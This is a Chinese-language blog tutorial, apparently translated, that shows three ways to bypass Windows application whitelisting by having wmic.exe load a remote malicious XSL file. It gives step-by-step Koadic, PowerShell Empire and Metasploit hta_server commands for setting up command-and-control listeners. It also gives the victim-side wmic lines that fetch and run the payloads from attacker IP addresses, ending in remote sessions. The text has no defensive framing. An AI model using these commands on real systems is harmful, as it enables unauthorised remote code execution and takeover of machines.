使用wmic.exe绕过应用程序白名单（多种方法）

古城微笑少年丶 2024-04-07 10:53 42阅读 0赞

### **一、Wmic.exe** ###

wmic实用程序是一款Microsoft工具，它提供一个wmi命令行界面，用于本地和远程计算机的各种管理功能，以及wmic查询，例如系统设置、停止进程和本地或远程运行脚本。因此，它可以调用XSL脚本来执行。

### **二、攻击方法** ###

#### **1.第一种方法：Koadic** ####

我们将在Koadic的帮助下生成一个恶意的XSL文件，它是一个命令和控制工具，与Metasploit和PowerShell empire非常相似。

要了解Koadic的工作原理，请阅读我们的文章：[https://www.hackingarticles.in/koadic-com-command-control-framework/][https_www.hackingarticles.in_koadic-com-command-control-framework]

安装完成后，您可以运行./koadic文件来启动koadic，并通过运行以下命令开始加载stager/js/wmic，并设置SRVHOST。

use stager/js/wmic
    set SRVHOST 192.168.1.107
    run

![e767fd7a6d2c0a38c5a1e8ff1fc0caba.png][]

执行WMIC以下命令从远程服务器下载并运行恶意XSL文件：

wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"

![198fcba6aee2fed3a423da8fb314423d.png][]

一旦恶意XSL文件在目标机器上执行，您就会像Metasploit一样拥有Zombie连接。

![06086a8ddab8fa90c02adb3b09796cf0.png][]

#### **2.第二种方法：PowerShell Empire** ####

对于我们的下一个wmic 攻击方法，我们将使用empire。empire是一款后开发框架。到目前为止，我们已经将XSL标记与metasploit匹配，但在这种方法中，我们将使用Empire框架。它只是基于python的PowerShell windows代理，这使得它非常有用。Empire由@ harmj0y，@ sixdub，@ enigma0x3，rvrsh3ll，@ killswitch\_gui和@xorrior开发。您可以从[https://github.com/empireproject/empire][https_github.com_empireproject_empire] 下载此框架 。

要获得empire的基本指南，请访问我们的文章介绍，如下地址：

[https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/][https_www.hackingarticles.in_hacking-with-empire-powershell-post-exploitation-agent]

启动Empire框架后，输入listener以检查是否有任何活动的侦听器。如下图所示，没有活动的侦听器。因此，需要设置一个监听器，请输入以下命令：

listeners
    uselistner http
    set Host http://192.168.1.107
    execute

使用上述命令，您将拥有一个活动的侦听器。输入**back**以退出侦听器，以便您可以启动PowerShell。

对于wmic攻击，我们将使用stager。empire中的stager是一段代码段，它允许我们的恶意代码通过被感染主机上的代理运行。因此，对于这种类型，请输入以下命令：

usestager windows/launcher_xsl
    set Listener http
    execute

usestager将创建一个恶意代码文件，该文件将保存在名为launcher.xsl的/tmp中

![286115627eceb163db4fa862906a069b.png][]

我们使用python HTTP服务器在受害者的主机内传输此文件

![888c162a1382c4f4c055226ec81bc176.png][]

一旦文件被执行，我们将在侦听器上获得结果。通过输入以下命令在受害者的主机中运行该文件：

wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl"

![4680627a60ac59558c6b4512830275fa.png][]

要查看是否有会话信息，请输入“agents”。这样将向您显示您拥有的会话的名称。要访问该会话请输入以下命令：

interact Z639YHPA
    sysinfo

![5fd220ef19692c85d0d92058869ec118.png][]

#### **3.第三种方法：XSL代码中链接hta** ####

我们知道，wmic可以远程执行任何文件或脚本，因此我们将在XSL代码中链接一个hta文件。XSL文件将包含一个链接，用于通过mshta.exe下载并执行恶意hta文件，该文件由wmic触发。

因此，让我们在Metasploit的帮助下生成一个hta文件：

use exploit/windows/misc/hta_server
    msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
    msf exploit(windows/misc/hta_server) > exploit

现在复制URL并放在XSL代码中，因为它能够执行Microsoft语言脚本

![b68d74cf9d806f47da6fbdce3953e58b.png][]

然后，我们创建了一个“payload.xsl”文件，您可以从此**[链接][Link 1]**获取帮助以编写XSL代码，然后放置hta文件的链接，如下所示。

![39b1f68ac928824fe71daa8087f31d05.png][]

现在我们需要借助以下命令通过wmic.exe来执行XSL文件：

wmic os get /FORMAT:"http://192.168.1.109/payload.xsl"

![b48c9d0f357b8e051efad02bd8343548.png][]

执行上述命令后，您将获得一个meterprter会话。要访问会话，请输入以下命令：

sessions 1

![30db6e6ce9177e6574c4f5e2ba5f7cc0.png][]

[https_www.hackingarticles.in_koadic-com-command-control-framework]: https://www.hackingarticles.in/koadic-com-command-control-framework/
[e767fd7a6d2c0a38c5a1e8ff1fc0caba.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9c785e9be0bb4326ae3dbb492631d274.png
[198fcba6aee2fed3a423da8fb314423d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bf612330d89b4172aaadc0265f33f310.png
[06086a8ddab8fa90c02adb3b09796cf0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/64969026e0fe4659af5c9017d9049a35.png
[https_github.com_empireproject_empire]: https://github.com/empireproject/empire%E4%B8%8B%E8%BD%BD%E6%AD%A4%E6%A1%86%E6%9E%B6
[https_www.hackingarticles.in_hacking-with-empire-powershell-post-exploitation-agent]: https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/
[286115627eceb163db4fa862906a069b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6a4c1c4cdc7a40b5b204cc28705ab32b.png
[888c162a1382c4f4c055226ec81bc176.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/818a80b67da6471f843f84ee7ea964fb.png
[4680627a60ac59558c6b4512830275fa.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d0335fbc8afe45f5a7973cd69ff8a927.png
[5fd220ef19692c85d0d92058869ec118.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c72c09e59ec2412bbb34300d878c2f5b.png
[b68d74cf9d806f47da6fbdce3953e58b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c95db9d28e1c4910a0976ac81f149d49.png
[Link 1]: https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356
[39b1f68ac928824fe71daa8087f31d05.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/dc568487890542e0a54d16155d353398.png
[b48c9d0f357b8e051efad02bd8343548.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5dd08abbe1164e3ba8148ce435e0109b.png
[30db6e6ce9177e6574c4f5e2ba5f7cc0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/770b41f90de44e45a0ad811d0949eabe.png